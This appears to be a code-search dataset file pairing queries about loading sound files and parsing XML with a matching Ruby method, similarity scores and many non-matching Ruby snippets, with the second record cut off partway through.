[ "0.8446178", "0.803212", "0.7844912", "0.7818543", "0.7773563", "0.7773563", "0.77124786", "0.76795673", "0.7645482", "0.76129854", "0.76129854", "0.75533724", "0.75095993", "0.7488226", "0.7460977", "0.7456671", "0.74064994", "0.7332123", "0.7295195", "0.7294964", "0.72828126", "0.72821766", "0.7264641", "0.7261422", "0.72569835", "0.7222871", "0.7222256", "0.72013116", "0.72013116", "0.72013116", "0.72002417", "0.71541077", "0.7135216", "0.71339595", "0.7128871", "0.7128871", "0.712718", "0.71234137", "0.7100841", "0.70848995", "0.7072247", "0.70568305", "0.6965956", "0.68232995", "0.6794255", "0.6785703", "0.6784202", "0.67621195", "0.67480236", "0.6737893", "0.67363137", "0.6729277", "0.6729093", "0.6718642", "0.6705624", "0.6705624", "0.6703773", "0.669899", "0.6662381", "0.6636742", "0.66177666", "0.66177666", "0.66021425", "0.65937257", "0.6583029", "0.65730727", "0.65725154", "0.6563677", "0.6510263", "0.65070355", "0.6406128", "0.6403908", "0.6402732", "0.6401355", "0.64012593", "0.63966894", "0.6381136", "0.6370494", "0.6370494", "0.63673466", "0.6350067", "0.63399833", "0.62934726", "0.629247", "0.62740266", "0.6227896", "0.6225526", "0.6216202", "0.6197927", "0.61946255", "0.61858344", "0.61531955", "0.61434746", "0.61302567", "0.61206245", "0.61186063", "0.6108694", "0.6103718", "0.6098237", "0.60938627" ]
0.71047926
38
Load all sound files, bailing if any are invalid
def load_raw_sounds(kit_items) raw_sounds = {} kit_items.values.flatten.each do |sound_file_name| begin wavefile = WaveFile.open(sound_file_name) rescue Errno::ENOENT raise SoundFileNotFoundError, "Sound file #{sound_file_name} not found." rescue StandardError raise InvalidSoundFormatError, "Sound file #{sound_file_name} is either not a sound file, " + "or is in an unsupported format. BEATS can handle 8 or 16-bit *.wav files." end @num_channels = [@num_channels, wavefile.num_channels].max raw_sounds[sound_file_name] = wavefile end return raw_sounds end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def autoload_sounds(map_id, *args)\n table = Table[map_id]\n table&.each { |filename| preload_sound(filename) }\n args.each { |filename| preload_sound(filename) }\n flush_sound\n load\n end", "def onload_function?\n !@sounds.empty?\n end", "def initialize_sounds(sound_array, debug=false)\n initialize_sound_manager(debug) do |soundman|\n sound_array.each do |id, url| \n soundman.create_sound(id, url)\n end\n end\n end", "def files\n # Dir.glob(\"*.mp3\") #this grabs mp3s from path\n Dir.chdir(@path) do \n @mp3s = Dir.glob(\"*.mp3\") \n end\n end", "def loadMusic(directory)\n\tfileArray = [] #declare an empty file array\n\n\tDir.foreach(directory) do |fileName|\n\t\tif File.extname(fileName) == \".mp3\" #retrieve the music files\n\t\t\tfileArray.push(fileName) #push them to back of array\n\t\tend\n\tend \n\treturn fileArray #return the array of files\nend", "def audio_files\n @audio_files ||= path.join(\"data\").each_child.select { |file| [\".wav\", \".mp3\"].include? file.extname }.map { |file| IngestableAudioFile.new(path: file) }\n end", "def files # loads all the mp3 files in the path directory / normalizes the filename to just the mp3 filename with no path\n @files ||= Dir.glob(\"#{path}/*.mp3\").collect{ |f| f.gsub(\"#{path}/\", \"\") } # then using the .collect method and gsub to just return the filename with out path\n end", "def load_files(options = {})\r\n files = files_newer_than(0).sort_by{|a| number_from_name(a).to_i}\r\n return if files.empty?\r\n log.debug \"files: #{files.inspect}\"\r\n \r\n last_bulk = files.select {|fn| bulk_file?(fn)}.last\r\n if last_bulk\r\n to_load = files[files.index(last_bulk)..-1]\r\n else\r\n to_load = files\r\n end\r\n\r\n counter = 0\r\n TranslationBundle.delete_all if options[:force]\r\n to_load.each {|fn| counter += load_file(fn, options)}\r\n @report << \"no files loaded - they are already in the database\\n\" if counter == 0\r\n counter\r\n end", "def load_all_from_files\n\t\tload_hash_from_file($searched, $progDir+'searched.txt')\n\t\tload_hash_from_file($downloaded, $progDir+'downloaded.txt')\n\t\tload_array_from_file($toSearch, $progDir+'toSearch.txt')\n\t\tload_array_from_file($toDownload, $progDir+'toDownload.txt')\n\trescue => e\n\t\t$error.save_error_to_file(__method__, e, $specialErrorTxt)\n\tend", "def play()\n @files.shuffle.each do |file|\n play_file(file)\n end\n end", "def play\n idx = rand(audio_file_count)\n audio_file = audio_file_from_list(idx)\n run_player_loop_for(audio_file)\n end", "def play what\n case Avalon::Config[:alert_sounds]\n when false, :none, :no\n when Hash\n tunes = [Avalon::Config[:alert_sounds][what] || what].compact.flatten\n\n tunes.each do |tune|\n file = find_file( tune, \"../../../sound/#{tune}\",\n \"~/.avalon/sound/#{tune}\", \"/System/Library/Sounds/#{tune}\")\n case system\n when 'Darwin'\n `afplay #{file}`\n when 'Linux'\n raise 'Please install sox package: sudo apt-get install sox' if `which sox`.empty?\n `play -q #{file}`\n end\n end\n end\n end", "def all_files\n @all_files ||= load_files\n end", "def audio_files(folder_name)\n Dir.glob(\"./audio/#{folder_name}/**/*\")\n end", "def get_files\n Dir.foreach(@path) do |file|\n if File.extname(file) == \".mp3\"\n thisfile = SongFile.new(\"#{@path}/#{File.path(file)}\")\n @files << thisfile\n end\n end\n end", "def search_sound(file)\n Dir.glob(File.join(@default_dir_images, file) + '.{mp3,wma,wav}').first\n end", "def load_files(*sources); end", "def call\n files.each do |file|\n parts = parse_filename(file)\n build_song(parts)\n end \n end", "def loadFiles( reload = false )\n\t\t\t\tfiles().each do |file|\n\t\t\t\t\tfile.load( reload )\n\t\t\t\tend\n\t\t\tend", "def audios\n unless @audios\n @audios = {:es => [], :eu => [], :en => [], :all => []}\n\n return @audios if self.multimedia_path.blank?\n\n # Lista de todos los audios en <dir>/*.mp3\n list_of_audios = Dir.glob(full_multimedia_path + \"*.mp3\")\n list_of_audios = list_of_audios.collect {|a| Pathname.new(a).relative_path_from(Pathname.new(class_multimedia_path)).to_s}\n\n Document::LANGUAGES.each do |l|\n # Meto en cada idioma solo los que acaban en \"_<idioma>.mp3\"\n @audios[l.to_sym] = list_of_audios.select {|a| a.match(\"_#{l}.mp3\")}\n list_of_audios = list_of_audios - @audios[l.to_sym]\n end\n\n Document::LANGUAGES.each do |l|\n @audios[l.to_sym] = @audios[l.to_sym] + list_of_audios\n end\n @audios[:all] = @audios.values.flatten.uniq\n end\n return @audios\n end", "def play_hash_audio(hash)\n HASH_SOUND_MAP.each do |k, v|\n `#{SOUND_APP} #{SOUNDS_DIR}/#{v}` if hash.downcase.match(k.downcase)\n end\nend", "def import\n files.each do |e|\n Song.create_from_filename(e)\n end\n end", "def load_translations_and_collect_file_errors(files); end", "def play_songs\n MusicImporter.new(path).play_song\n end", "def import\n files\n @files.each {|file|\n Song.create_from_filename(file)\n }\n end", "def call\n context.sound = Sound[context.sound_id]\n raise SoundNotFoundError unless context.sound\n\n rescue SoundNotFoundError\n context.fail!(error: :sound_not_found)\n\n end", "def sound_exist?(filename)\n return File.exist?(filename)\n end", "def import\n files.each {|file_name| Song.new_by_filename(file_name)}\n end", "def files\n @files ||= Dir.glob(\"#{path}/*.mp3\").collect{ |filename|filename.gsub(\"#{path}/\", \"\")}\n end", "def import\n files.each do |filename|\n Song.new_by_filename(filename)\n end\n end", "def fix_files\n Dir.glob(\"./audio/**/*.mp3\").each do |path|\n file_name = file_name_from_path(path)\n proper_file_name = file_name.gsub(/[^a-zA-Z1-9\\_\\.]/) { |char| \"_\" }\n unless file_name == proper_file_name\n `mv \"#{path}\" #{path.gsub(file_name, proper_file_name)}`\n end\n end\n end", "def import\n self.files.each do |stringthing|\n Song.create_from_filename(stringthing)\n end\n end", "def files\n Dir.entries(\"#{path}\").select {|song_filename| song_filename.include?(\"mp3\")}\n end", "def play_sound(sound_path, loops = 0)\n if File.exist?(sound_path)\n free_channels\n sample = SDL2::Mixer::Chunk.load(sound_path)\n @sounds << sample\n channel = available_channel\n if channel.is_a?(Integer)\n SDL2::Mixer::Channels.play(channel, sample, loops)\n @channels[channel] = true\n else\n log(\"No channels available for sound playback!\")\n end\n else\n log(\"Sound file not found at '#{sound_path}'\")\n end\n end", "def load_all\n return if defined?(@loaded_all)\n\n load_env\n\n paths = search_path\n unless paths.nil?\n paths.each do |dir|\n # dir is already an absolute path\n Dir.glob(File.join(dir, '*.rb')).each do |path|\n # exclude dirs that end with .rb\n load_file(path) if File.file?(path)\n end\n end\n end\n\n @loaded_all = true\n end", "def run\n @files.each { |filename| load(filename) }\n end", "def load!(files)\n raise NoConfigFiles if !files || files.empty?\n files.each do |path|\n load path if File.readable?(File.expand_path(path))\n end\n end", "def import\n files.each{|file| Song.new_by_filename(file)}\n end", "def load_game\n print_saves\n begin\n read_save\n rescue IOError, SystemCallError\n puts 'File not found'\n load_game\n end\n end", "def files\n @files ||= Dir.glob(\"#{path}/*.mp3\").collect{|file|\n#normalize the filename to just the MP3 filename with no path\n file.gsub(\"#{path}/\", \"\")}\n end", "def import\n files.each {|filename| Song.new_by_filename(filename)}\n end", "def load_translations\n files = if File.directory?(@path)\n Dir[@path + '/**/*.yml']\n elsif File.file?(@path)\n detect_list_or_file @path\n else\n $stderr.puts 'No valid translation file given'\n []\n end\n update_store files\n end", "def import\n files.each {|filename| Song.new_by_filename}\n end", "def init_all(glob)\n\t\tDir[glob].each { |file| init(file) }\n\tend", "def cold_load!\n components_pattern = File.join(@directory, '**', '*' + @suffix)\n info \"Cold loading: #{components_pattern}\"\n Dir.glob(components_pattern).each { |file| reload! file }\n end", "def flush_sound\n to_delete = []\n @sound_cache.each_key do |filename|\n to_delete << filename if (@sound_count[filename] -= 1) <= 0\n end\n to_delete.reverse_each do |filename|\n log_info \"Audio::Cache : #{filename} released.\"\n @sound_count.delete(filename)\n @sound_cache.delete(filename)\n end\n end", "def files\n # fetch the appropriate files\n filenames = Dir.glob(@path + \"/*.mp3\")\n filenames.map { |filename| @files << File.basename(filename) }\n @files\n end", "def files\n files = Dir.glob(\"#{@path}/*.mp3\")\n normalized = files.map do |file|\n file.split(\"./spec/fixtures/mp3s/\") \n end\n why = normalized.map do |file|\n file.reject {|c| c.empty?}\n end.flatten\n end", "def import\n files.each{ |f| Song.create_from_filename(f) }\n end", "def enumerateSounds(key)\n sounddir = File.join(GLADE_DIR, \"sound\")\n matches = File.join(sounddir, key)\n return Dir.glob(matches).map do |filepath|\n # make sure they are offset from GLADE_DIR/sound\n filepath[(sounddir.length + File::SEPARATOR.length)..(filepath.length)]\n end\n end", "def handle_loading\n check_watched_files\n reload! if !loaded? && load_cooldown_expired?\n end", "def remove_all_sounds\n dict = Sketchup.active_model.attribute_dictionary('MSPhysics Sounds', false)\n if dict\n dict.each_key { |name|\n music = MSPhysics::Music.get_by_name(name)\n MSPhysics::Music.destroy(music) if music\n }\n end\n Sketchup.active_model.attribute_dictionaries.delete('MSPhysics Sounds')\n Sketchup.active_model.attribute_dictionaries.delete('MSPhysics Sound Types')\n end", "def import\n files.each{|f| Song.new_by_filename(f)}\n end", "def import\n self.files.each do |filename|\n Song.new_by_filename(filename)\n end\n end", "def files\n @files ||= Dir.glob(\"#{path}/*.mp3\").collect{ |f| f.gsub(\"#{path}/\", \"\") }\n end", "def import\n files.each {|song_filename| Song.new_by_filename(song_filename)}\n end", "def import\n self.files.each do |file|\n Song.new_by_filename(file)\n end\n end", "def files\n # list_of_filenames = Dir.entries(path)\n @list_of_filenames = Dir.glob(\"#{@path}/*.mp3\").collect! {|x| x.gsub(\"#{@path}/\", \"\") }\n # binding.pry\n end", "def load_glob(glob)\n Dir[glob].each { |f| load f }\n end", "def files\n @files = Dir.glob(\"#{@path}/*.mp3\").collect{ |file| file.gsub(\"#{@path}/\", \"\") }\n end", "def analise_audio\n ads_file_paths = []\n videos_with_ads_from_files = []\n\n Find.find('.') do |path|\n if path =~ /.*-ads\\.wav$/\n $file_name = ads_file_paths << path[2..-1].to_s\n end\n end\n if !$file_name.nil?\n videos_with_ads_from_files.push(\"'#{$file_name}': 'true'\")\n puts \"List of audio files with ads based on file names #{videos_with_ads_from_files[0]}\"\n end\n\n if $file_name.nil?\n puts 'No audio files with ads found'\n end\n #another way how we can check if ads displayed\n #here we can get a length of audio file in seconds by `sox file_name.wav -n stat 2>&1| grep 'Length'| awk '{print $3}'\n #if ads were displayed length of audio file will be like ads.length + original_video.length in seconds\n #if total audio file length > then RECORD_TIME in seconds it means that audio file contains ads\nend", "def try_files(*files)\n try_sources(files, :files)\n end", "def parse\n result = []\n files = []\n \n @paths.each { |path|\n begin\n raise FileNotFoundError unless File.exists?(path)\n \n if File.directory?(path) then\n files += Dir.glob(\"#{path}/**/*.mid\")\n else\n files << path if File.extname(path) == \".mid\"\n end\n rescue\n puts \"Not a valid file path : #{path} => #{$!}\"\n end\n }\n \n \n if files.empty? then\n puts \"No files were added.\"\n else\n files.each { |file_path|\n result << read_midi(file_path)\n }\n end\n \n return result\n end", "def files\n get_back_here = Dir.pwd\n Dir.chdir(@path)\n @files = Dir.glob(\"*.mp3\")\n Dir.chdir(get_back_here)\n @files\n end", "def import\n\t\tself.files.each do |mp3|\t\t\n\t\t\tSong.new_by_filename(mp3)\n\t\tend\n\tend", "def import\n self.files.each{ |filename| Song.create_from_filename(filename) }\n end", "def files \n @files = Dir.glob(\"#{path}/*.mp3\")\n @files.collect! {|filename| filename.gsub(/#{path}\\//, \"\")}\n @files\n end", "def load_assemblers\n Biopsy::Settings.instance.target_dir.each do |dir|\n Dir.chdir dir do\n Dir['*.yml'].each do |file|\n name = File.basename(file, '.yml')\n target = Biopsy::Target.new\n target.load_by_name name\n @assemblers << target\n end\n end\n end\n end", "def files\n # fetch the appropriate files\n file_paths = Dir.glob(@path + \"/*.mp3\")\n file_paths.map { |file_path| @files << File.basename(file_path) }\n @files\n end", "def load_tsbs\n @sprite_name = \"\"\n @collapsound = $data_system.sounds[11]\n super\n end", "def load_song\n location = File.expand_path(\"..\", Dir.pwd) + \"/res/five.mid\"\n\t#location = location.gsub('/', '\\\\')\n\t#puts location\n\t@btn_play.enable\n\t@btn_pause.enable\n\t@btn_stop.enable\n\t\n @mc.load(location)\n\t\n\t#play_song\n end", "def load_files_in(directory_name, options = {})\n get_files_in(directory_name, options).sort.each { |ext| load ext }\n end", "def do_load_file(path)\n @btn_play.enable\n\t@btn_pause.enable\n\t@btn_stop.enable\n unless @mc.load(path)\n Wx::message_box(\"Unable to load file\", \"ERROR\",\n Wx::ICON_ERROR|Wx::OK)\n else\n \n end\n end", "def process_files\n loaded_files = []\n files.each do |file|\n Async do |task|\n task.async do\n loaded_files << load_file(file[:path], file[:source])\n end\n end\n end\n loaded_files\n end", "def manageAudioFiles(maxNumFiles, folder)\n\n fileNumber = Dir[(Rails.root.to_s + \"/public/audio/#{folder}/*\")].count\n keepSeconds = 7200\n\n while fileNumber > maxNumFiles\n keepSeconds *= 0.5\n Dir[(Rails.root.to_s + \"/public/audio/#{folder}/*\")].each do |filename| \n deleteOldFile(filename, keepSeconds)\n end\n fileNumber = Dir[(Rails.root.to_s + \"/public/audio/#{folder}/*\")].count\n end\n\n end", "def import\n self.files.each {|filename| Song.new_by_filename(filename)}\n end", "def files #only wants mp3 files\n Dir.entries(path).select {|entry| entry.include?(\".mp3\")} #select returns an array itself\n end", "def import\n self.files.each {|filename| Song.new_by_filename(filename)}\n end", "def load_mediasets\n []\n end", "def import\n self.files.each{ |filename| Song.new_by_filename(filename) }\n end", "def load_files(filename)\n filename_domain = filename.sub('.yai', '.yad')\n\n content = ''\n content << load_file_to_content(filename_domain)\n content << load_file_to_content(filename)\n end", "def sounds_list(params = {})\n get \"sounds\", params\n end", "def load!\n resources.each { |r| load_resource(r) }\n @loaded = true\n end", "def check_files fnames\n fnames.each do |fname|\n AbortIf.abort_unless_file_exists fname\n end\n end", "def play_music(sound_path, loops = 0)\n if File.exist?(sound_path)\n song = SDL2::Mixer::Music.load(sound_path)\n music = SDL2::Mixer::MusicChannel.play(song, loops)\n @sounds << music\n else\n log(\"Music file not found at '#{sound_path}'\")\n end\n end", "def search_audio_file(file_name)\n # Trace.debug(\"Search audio for track #{@rtrack.to_s.brown}\")\n extensions = Cfg.size_over_quality ? FILE_EXTS_BY_SIZE : FILE_EXTS_BY_QUALITY\n\n extensions.each do |ext|\n if File.exists?(file_name+ext)\n set_audio_state(Status::OK, file_name+ext)\n return audio.status\n end\n end\n\n # Remove the root dir & genre dir to get the appropriate sub dir\n file = track_dir(file_name)\n Dir[Cfg.music_dir+'*'].each do |entry|\n next unless File.directory?(entry)\n extensions.each do |ext|\n if File.exists?(entry+file+ext)\n set_audio_state(Status::MISPLACED, entry+file+ext)\n return audio.status\n end\n end\n end\n\n set_audio_state(Status::NOT_FOUND, nil)\n return audio.status\n end", "def import\n self.files.each do |f|\n song = Song.new_by_filename(f)\n Artist.all << song.artist unless Artist.all.include?(song.artist)\n end \n end", "def import\n @@files_array.collect { |filename| Song.create_from_filename(filename) } \n end", "def load_schemas!\n pattern = [@path, \"**\", \"*.avsc\"].join(\"/\")\n\n Dir.glob(pattern) do |schema_path|\n # Remove the path prefix.\n schema_path.sub!(/^\\/?#{@path}\\//, \"\")\n\n # Replace `/` with `.` and chop off the file extension.\n schema_name = File.basename(schema_path.tr(\"/\", \".\"), \".avsc\")\n\n # Load and cache the schema.\n find(schema_name)\n end\n end", "def load(name)\n\t\t\tfiles = []\n\t\t\t@dirpaths.each { |dp|\n\t\t\t\tif(dp.directory?)\n\t\t\t\t\tdp.opendir { |dir|\n\t\t\t\t\t\tdir.each { |f|\n\t\t\t\t\t\t\tif (f != \".\" && f != \"..\" && File.extname(f).downcase == \".rb\" && f[0...name.length] == name)\n\t\t\t\t\t\t\t\tfiles << dp + f\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\t}\n\t\t\tif(files.empty?)\n\t\t\t\traise \"No suitable MEC file for \\\"#{name}\\\" found!\"\n\t\t\tend\n\t\t\tfiles.each { |file|\n\t\t\t\tloadFile(file)\n\t\t\t}\n\t\tend", "def load_files(*files)\n dsl = DSL.new(self)\n files.each do |file|\n next unless File.file?(file) # TODO: warn ?\n #begin\n dsl.instance_eval(File.read(file), file)\n #rescue => e\n # raise e if $DEBUG\n # warn e.message\n #end\n end\n end", "def do_add\n file_paths = ARGV.dup\n\n file_paths.map! { |path| File.expand_path(path) }\n \n file_paths.each do |path|\n ensure_exists(path)\n end\n\n audiofiles = file_paths.map do |path|\n af = nil # SCOPE\n TagLib::FileRef.open(path) do |ref|\n if ref.null?\n warnx(\"#{path}: not an audio file?\")\n exit 1\n end\n warnx(\"parsing #{path}\")\n tags = ref.tag\n af = AudioFile.new(path, tags.title, tags.artist, tags.album)\n end\n\n af\n end\n\n File.open(@playlist_path, \"w\") { |fd|\n fd.puts(PlaylistWriter.new(audiofiles).to_s)\n }\nend", "def import\n self.files.each{|file| Song.new_by_filename(file)}\n end", "def require_files_messily( files )\n while true\n files_remaining = files.length\n return true if files_remaining == 0\n \n files.length.times do\n begin\n file = files.shift\n require file\n @successfully_required << file\n rescue NameError => e\n uninitialized_constant_error( e ) do\n files.push( file )\n end\n end\n end\n \n return false if files.length == files_remaining\n end\n end", "def files\n Dir.glob(\"#{path}/*.mp3\").collect {|file| file.gsub(\"#{path}/\",\"\")}\n end", "def load(*globs)\n skips = globs.grep(/^-/)\n (globs - skips).each do |glob|\n glob += '.rb' if glob =~ /\\*$/\n Dir.glob(glob).sort.each do |path|\n next unless File.file? path\n next if skips.find {|pat| path =~ /#{pat[1..-1]}$/}\n instance_eval(File.read(path), path)\n end\n end\n end", "def play_select_active_sound\n if FileTest.exist?('Audio/SE/SelectActive.mp3') or \n FileTest.exist?('Audio/SE/SelectActive.wav') or FileTest.exist?('Audio/SE/SelectActive.ogg')\n Audio.se_play('Audio/SE/SelectActive', 100, 100)\n end\n end", "def load_scripts\n $log.info(\"ScriptManager.initilize\") { \"Loading scripts.\" }\n\n noload = Bot::Conf[:core][:noload]\n\n Dir.glob(\"scripts/*.rb\").each do |file|\n\n unless noload == nil\n # I realize we are pulling the name out twice. Deal with it.\n next if noload.keys.include? file.match(\"scripts/(.+).rb\")[1].to_sym\n end\n\n $log.debug(\"ScriptManager.initilize\") { \"Loading #{file}\" }\n load_file file\n\n end\n end", "def file_errors_any?\n raise LucarativeAd::Error.file_type unless File.extname(@file) == \".yml\"\n raise LucarativeAd::Error.file_read unless File.exist? @file\n end", "def load_scripts\n $log.info('ScriptManager.initilize') { 'Loading scripts.' }\n\n noload = Bot::Conf[:core][:noload]\n\n Dir.glob(\"#{SCRIPTS_PATH}/*.rb\").each do |file|\n\n unless noload == nil\n # I realize we are pulling the name out twice. Deal with it.\n next if noload.keys.include? file.match(\"#{SCRIPTS_PATH}/(.+).rb\")[1].to_sym\n end\n\n $log.debug(\"ScriptManager.initilize\") { \"Loading #{file}\" }\n load_file file\n\n end\n end" ]
[ "0.632168", "0.61810404", "0.60749096", "0.60512805", "0.60444397", "0.600298", "0.6000305", "0.59410244", "0.57440823", "0.56405604", "0.5633457", "0.56089115", "0.5575711", "0.5541119", "0.5537759", "0.552179", "0.5509646", "0.5505998", "0.5498524", "0.54924", "0.5483705", "0.5454127", "0.5404344", "0.5397849", "0.53919363", "0.5388945", "0.538702", "0.538387", "0.5376384", "0.53703916", "0.53688174", "0.53512454", "0.5350918", "0.534981", "0.534753", "0.53312874", "0.5315763", "0.5315701", "0.5314307", "0.53128785", "0.53125924", "0.53060186", "0.5305782", "0.53019774", "0.5299115", "0.5297411", "0.52968925", "0.5292204", "0.5289116", "0.5285333", "0.5280332", "0.5275297", "0.52727437", "0.526828", "0.52561784", "0.5236847", "0.5231312", "0.52292037", "0.52232873", "0.52161247", "0.5215996", "0.52096564", "0.5209307", "0.5202357", "0.5199581", "0.5195534", "0.5189986", "0.51890457", "0.5188679", "0.5188577", "0.51863354", "0.51767695", "0.5171443", "0.5171437", "0.51702964", "0.5168703", "0.5161319", "0.5161039", "0.515866", "0.5154312", "0.51499265", "0.5148424", "0.51421964", "0.51374394", "0.5134956", "0.51173484", "0.5112733", "0.51123977", "0.51049924", "0.5103205", "0.51021296", "0.5098243", "0.5096947", "0.5093723", "0.5092457", "0.50861853", "0.5086093", "0.50842917", "0.50831735", "0.5080724" ]
0.6312347
1
Manipulate from_xml Hash, because xml_simple is not exactly what we want for Active Resource.
def from_xml_data(data) if data.is_a?(Hash) && data.keys.size == 1 data.values.first else data end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _from_xml(xml)\n return XmlSimple.xml_in(xml, {\n 'ForceArray'=>['accessGroup'],\n 'GroupTags'=>{\n 'services'=>'service',\n 'metros'=>'metro',\n 'networkIdentifiers'=>'ni'\n },\n 'KeyAttr'=>['id','name']\n })\n end", "def to_hash\n strip_content(xml.to_hash)\n end", "def original_hash\n @original_hash ||= Savon::SOAP::XML.to_hash to_xml\n end", "def xml_hash(xml)\n nori = Nori.new(strip_namespaces: true, :convert_tags_to => lambda { |tag| tag.snakecase.to_sym })\n nori.parse(xml)\n end", "def hash_xml(xml, params)\n params.each do |key, value|\n xml = xml_key_value(key, value, xml)\n end\n xml\n end", "def from_xml(xml)\n\t\tend", "def to_hash\n XMLUtils.to_hash xml\n end", "def from_xml(xml)\n hash = Hash.from_xml(xml).values.first\n self.all_attributes = hash\n end", "def from_xml_to_hash(xml)\n Hash.from_xml(xml)\n end", "def from_xml(xml)\n @xml = xml\n self.before_from_xml if defined?(before_from_xml)\n from_xml_via_map(@xml)\n end", "def from_xml(xml_io)\n\t\tbegin\n\t\t\tresult = Nokogiri::XML(xml_io)\n\t\t\treturn { result.root.name.to_sym => xml_node_to_hash(result.root)}\n\t\trescue Exception => e\n\t\t\t# raise your custom exception here\n\t\tend\n\tend", "def xml_to_instance\r\n ATTRIBUTES_MAP.each do |name, hash| \r\n elem = @xml.root.elements[hash[\"element\"]]\r\n unless elem.nil?\r\n val = (hash.has_key?(\"attribute\") ? elem.attributes[hash[\"attribute\"]] : elem.text)\r\n val = self.send(hash[\"from_xml\"], val) if hash.has_key?(\"from_xml\")\r\n self.send(name+\"=\", val)\r\n end\r\n end\r\n self.status = :old\r\n\r\n @xml.root.elements.each(\"link\") do |link|\r\n @feed = link.attributes[\"href\"] if link.attributes[\"rel\"] == \"edit\"\r\n end\r\n end", "def process_xml(xml)\n\t\t\txml.elements.each(\"*/*\") do |e|\n\t\t\t\tname = \"\"\n\t\t\t\te.attributes.each do |a|\n\t\t\t\t\tif a[0] == \"name\"\n\t\t\t\t\t\tname = a[1]\n\t\t\t\t\t\t@hash[name] = Hash.new\n\t\t\t\t\telse\n\t\t\t\t\t\t@hash[name][a[0]] = a[1]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def from_xml(xml_io)\n\tbegin\n\t\tresult = Nokogiri::XML(xml_io)\n\t\treturn { result.root.name.to_sym => xml_node_to_hash(result.root)}\n\trescue Exception => e\n\t\tputs e.backtrace\n\t\traise\n\tend\nend", "def parse_xml(xml)\n hash = XmlSimple.xml_in(xml)\n hash['query']#return just the results of the query\nend", "def parse_xml(xml_text)\n hash = Hash.from_xml(replace_nested_xml_tags(xml_text))\n \n if 1 == hash.size && hash.first.last.is_a?(Hash)\n tag_name = hash.keys.first.singularize\n return get_hash_from_xml_object(hash, tag_name)\n else\n raise \"Bad object: Unexpected format: #{hash.inspect}\"\n end\n end", "def create_datastructure_from_xml(xml)\n return XmlSimple.xml_in(xml, 'KeyAttr' => 'name')\n end", "def from_xml(xml)\n clear\n humanized_attributes = @base.attributes.keys.inject({}) { |h, attr_name| h.update(attr_name.humanize => attr_name) }\n messages = Array.wrap(Hash.from_xml(xml)['errors']['error']) rescue []\n messages.each do |message|\n attr_message = humanized_attributes.keys.detect do |attr_name|\n if message[0, attr_name.size + 1] == \"#{attr_name} \"\n add humanized_attributes[attr_name], message[(attr_name.size + 1)..-1]\n end\n end\n \n add_to_base message if attr_message.nil?\n end\n end", "def convert(hash)\n return '' if hash.nil?\n XmlSimple.xml_out(hash, { 'RootName' => @method, 'ContentKey' => 'content' }).strip\n end", "def get_hash_from_xml_object(obj, name)\n case obj[name.downcase]\n when Array\n return obj[name.downcase]\n when Hash\n # When there is only one item in the collection, Hash.from_xml\n # creates a hash relationship rather than an array.\n return [ obj[name.downcase] ]\n else # Something went wrong...\n raise \"Bad object: does not respond to '#{name.downcase}': #{obj.inspect}\"\n end\n end", "def from_hash_to_xml(hash)\n hash.to_xml(root: 'Request', skip_types: true, dasherize: false, skip_instruct: true)\n end", "def from_trusted_xml(xml)\n from_xml xml, []\n end", "def from_qbxml(xml, opts = {})\n hash = Qbxml::Hash.from_xml(xml, underscore: true, schema: @doc)\n\n opts[:no_namespace] ? hash : namespace_qbxml_hash(hash)\n end", "def extract_values_from_xml(xml)\n if xml =~ /\\<.*\\>/\n x = Hpricot::XML(xml)\n new_hash = (x/\"form/field\").map {|field|\n {field[:id].to_s => (field[:value] || field.inner_text)}\n }.inject{|i, j| i.merge(j) }\n logger.info \"Received XML body:\\n#{xml}\\nMapped to: #{new_hash}\"\n new_hash\n end\n end", "def from_qbxml(xml, opts = {})\n hash = Qbxml::Hash.from_xml(xml, underscore: true, schema: @doc)\n hash = opts[:no_namespace] ? hash : namespace_qbxml_hash(hash)\n hash.extend(DeepFind)\n end", "def sanitize_hash(hash)\n return {} if hash.nil? \n Hash.from_xml(hash.to_xml)['hash']\n end", "def _to_xml(xml)\n end", "def hashedxml(node)\n \n node.elements.map do |element|\n \n attributes = element.attributes.clone\n \n # Although attribute last_modified isn't used by rexle-diff it is \n # created by Dynarex whenever a record is created or updated. \n # This would of course cause the record to be flagged as changed even \n # when the element value itself hashn't changed.\n #\n %i(created last_modified).each {|x| attributes.delete x}\n x = element.elements.length > 0 ? '' : 0\n [element.name, attributes, element.text.to_s.strip, x].hash\n \n end\n end", "def xml_to_hash(xml) #:nodoc:\r\n h = Hash.new\r\n xml.elements.each{|e| h[e.name] = e.text }\r\n h \r\n end", "def xml_simple\n @simple ||= XmlSimple.new('NoAttr' => true, 'ForceArray' => false)\n end", "def parse_xml(post)\n @params = Hash.from_xml(post)\n end", "def get_params_from_xml(xml) \n empty = REXML::Element.new('empty') \n empty_attr = REXML::Attribute.new('empty') \n ret = {} \n root = xml.root \n \n ret.merge!('openid.mode' => \"checkid_#{$1.downcase}\") if root.xpath =~ /OpenIDCheckID(.*)/ \n if req = root.get_elements('Request').first \n ret.merge!('openid.identity' => ((req.get_elements('Identity').first || empty).text || '').strip, \n 'openid.assoc_handle' => ((req.get_elements('AssocHandle').first || empty).text || '').strip, \n 'openid.return_to' => ((req.get_elements('ReturnTo').first || empty).text || '').strip, \n 'openid.trust_root' => ((req.get_elements('TrustRoot').first || empty).text || '').strip) \n if sreg = req.get_elements('Sreg').first \n ret.merge!('openid.sreg.required' => ((sreg.attribute('required') || empty_attr).value || '').strip, \n 'openid.sreg.optional' => ((sreg.attribute('optional') || empty_attr).value || '').strip, \n 'openid.sreg.policy_url' => ((sreg.attribute('policy_url') || empty_attr).value || '').strip) \n end \n end \n return ret \n end", "def parse_xml(raw)\n result = ::Crack::XML.parse(raw)[\"response\"]\n\n # put necessary changes in a lambda\n fix_sound_hash = lambda do |hash|\n fixed = hash.fs_symbolize_keys.flatten_single_element_array_values.numberize_values\n fixed[:tags] = fixed[:tags][:resource]\n fixed\n end\n\n if result[\"sounds\"]\n result[\"sounds\"].map do |sound|\n fix_sound_hash.call(sound)\n end\n else\n fix_sound_hash.call(result)\n end\n end", "def additional_information_xml(xml)\n\n end", "def hash_to_xml(root,map)\n\tmap.each do |key,value|\n\t\telement = REXML::Element.new(key)\n\t\tif value.instance_of?(String)\n\t\t\telement.text = value.dup\n\t\telsif 